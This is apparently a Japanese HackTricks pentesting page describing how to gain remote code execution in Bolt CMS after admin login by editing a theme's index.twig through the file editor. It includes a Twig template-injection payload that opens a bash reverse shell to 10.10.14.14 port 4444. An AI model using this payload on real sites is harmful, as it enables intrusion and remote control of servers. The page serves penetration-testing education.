Japanese - Ht

Bolt CMS

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricksをサポートする他の方法：

RCE

管理者としてログインした後（ログインプロンプトにアクセスするには/botに移動します）、Bolt CMSでRCEを取得できます：

  • Configurationを選択 -> View Configuration -> Main ConfigurationまたはURLパス/bolt/file-edit/config?file=/bolt/config.yamlに移動

  • themeの値を確認します

  • File managementを選択 -> View & edit templates

  • 前のステップで見つかったテーマベース（この場合はbase-2021）を選択し、index.twigを選択します

  • 私の場合、URLパスは/bolt/file-edit/themes?file=/base-2021/index.twigにあります

  • テンプレートインジェクション（Twig）を介してこのファイルにペイロードを設定します。例：{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}

  • そして変更を保存します

  • Maintenance -> Clear the cacheでキャッシュをクリアします

  • 通常のユーザーとして再度ページにアクセスし、ペイロードが実行されるはずです

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricksをサポートする他の方法：

PreviousArtifactory Hacking guideNextBuckets

Last updated